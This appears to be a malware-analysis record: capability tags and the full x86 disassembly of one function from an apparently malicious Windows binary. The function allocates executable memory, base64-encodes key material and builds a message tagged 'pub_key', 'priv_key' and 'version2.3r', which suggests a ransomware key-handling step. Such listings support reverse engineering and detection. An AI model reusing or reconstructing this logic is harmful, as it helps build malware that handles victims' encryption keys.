Function at 0xf5a5880
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c4
push ebx
push esi
push edi
push ecx
push 1
push ecx
push 1
sub esp, 0xc
mov dword [esp + 0x28], ecx
mov ebx, edx
mov dword [esp + 0x3c], ebx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
sub esp, 0xc
push 1
push ecx
push 1
lea ecx, [esp + 0x98]
call fcn.0f5a39f0
lea ecx, [esp + 0x40]
call fcn.0f5a7330
lea ecx, [esp + 0x40]
call fcn.0f5a7140
mov esi, dword [ebp + 0xc]
mov edi, eax
add esi, ebx
push 0x40
push 0x3000
lea ebx, [esi + 8]
lea ebx, [edi + ebx*8]
shl ebx, 3
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
lea ecx, [edi + esi*4]
lea ecx, [ecx*8 + 0x30]
test eax, eax
je 0xf5a5921
cmp ecx, ebx
jae 0xf5a5921
lea edi, [ecx + eax]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edi
mov edx, ecx
jmp 0xf5a5927
mov dword [esp + 0x18], edx
mov edi, eax
cmp dword [esp + 0x2c], 0
mov eax, dword [ebp + 0xc]
lea eax, [eax*8 + 2]
je 0xf5a594f
lea esi, [edx + eax]
cmp esi, ebx
jae 0xf5a594f
mov ecx, edi
mov dword [esp + 0x28], edi
add edi, eax
mov edx, esi
mov dword [esp + 0x1c], edi
jmp 0xf5a5955
xor ecx, ecx
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x2c], 0
mov esi, dword [esp + 0x20]
je 0xf5a596d
lea eax, [esi*8 + 2]
add eax, edx
cmp eax, ebx
jb 0xf5a5973
xor edi, edi
mov dword [esp + 0x1c], edi
test ecx, ecx
je 0xf5a5d44
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
lea eax, [edx + edx]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push ecx
push 0x40000001
push edx
push dword [ebp + 8]
call ebx
lea eax, [esi + esi]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x1c]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call ebx
push dword [esp + 0x28]
mov esi, eax
call ebx
push 0x40
add eax, 0x42
push 0x3000
add esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
call ebx
mov ecx, dword [esp + 0x20]
inc eax
test ecx, ecx
je 0xf5a5a0f
cmp eax, esi
jae 0xf5a5a0f
lea edx, [ecx + eax]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
jmp 0xf5a5a17
mov dword [esp + 0x14], 0
push edi
call ebx
inc eax
cmp dword [esp + 0x20], 0
je 0xf5a5a2a
add eax, dword [esp + 0xc]
cmp eax, esi
jb 0xf5a5a32
mov dword [esp + 0x10], 0
push dword [esp + 0x28]
xor esi, esi
call ebx
test eax, eax
je 0xf5a5a72
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
lea ebx, [ebx]
mov al, byte [esi + edi]
cmp al, 0xa
je 0xf5a5a62
cmp al, 0xd
je 0xf5a5a62
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0xf5a5a50
mov edi, dword [esp + 0x1c]
push edi
xor esi, esi
call ebx
test eax, eax
je 0xf5a5aa1
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov al, byte [esi + edi]
cmp al, 0xa
je 0xf5a5a95
cmp al, 0xd
je 0xf5a5a95
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0xf5a5a83
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.actioncall
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [esp + 0x40]
lea edi, [edi + eax*2]
push edi
call fcn.0f5a6f40
push str.pub_key
push edi
call ebx
push edi
call esi
push dword [esp + 0x14]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x20]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.priv_key
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [esp + 0x10]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x1c]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.version2.3r
push edi
call ebx
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
push 0x40
shl esi, 4
push 0x3000
add esi, 0x12
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x18]
mov ebx, eax
mov dword [esp + 0x20], ebx
call edi
lea eax, [eax*8 + 2]
test ebx, ebx
je 0xf5a5b74
cmp eax, esi
jae 0xf5a5b74
mov dword [esp + 0xc], ebx
jmp 0xf5a5b7a
xor eax, eax
mov dword [esp + 0xc], eax
push dword [esp + 0x18]
call edi
mov ecx, dword [0xf5afc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [esp + 0xd1]
mov dword [esp + 0x38], ecx
mov cx, word [0xf5afc84]
push 0xff
mov word [esp + 0x40], cx
mov cl, byte [0xf5afc86]
push 0
push eax
movq qword [esp + 0x3c], xmm0
mov byte [esp + 0x4a], cl
mov byte [esp + 0xdc], 0
call fcn.0f5a9010
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x3c]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0xd4]
call fcn.0f5a5d70
mov edx, dword [esp + 0x1c]
lea esi, [edi + edi]
add esp, 4
lea ecx, [esp + 0xd0]
push esi
call fcn.0f5a5e20
add esp, 4
lea eax, [edi*8]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x28]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0xf5a5c36
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call ebx
push 0x40
push 0x3000
lea esi, [eax + 2]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [esp + 0x14], eax
call ebx
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
test eax, eax
je 0xf5a5c66
mov dword [esp + 0x14], eax
cmp ecx, esi
jb 0xf5a5c6e
mov dword [esp + 0x14], 0
push edi
xor esi, esi
call ebx
test eax, eax
je 0xf5a5c9e
mov ecx, dword [esp + 0x14]
mov dword [esp + 0xc], ecx
nop
mov al, byte [esi + edi]
cmp al, 0xa
je 0xf5a5c92
cmp al, 0xd
je 0xf5a5c92
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0xf5a5c80
mov esi, dword [esp + 0x14]
push esi
call ebx
push eax
push dword [esp + 0x1c]
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0
mov ecx, esi
call fcn.0f5a54a0
add esp, 4
test eax, eax
jne 0xf5a5d07
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
mov eax, dword [esp + 0x18]
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
xor esi, esi
jmp 0xf5a5d4f
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0xf5a5d14
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
jmp 0xf5a5d4a
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, 1
push 0x8000
push 0
push dword [esp + 0x34]
call ebx
lea ecx, [esp + 0x40]
call fcn.0f5a7c10
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret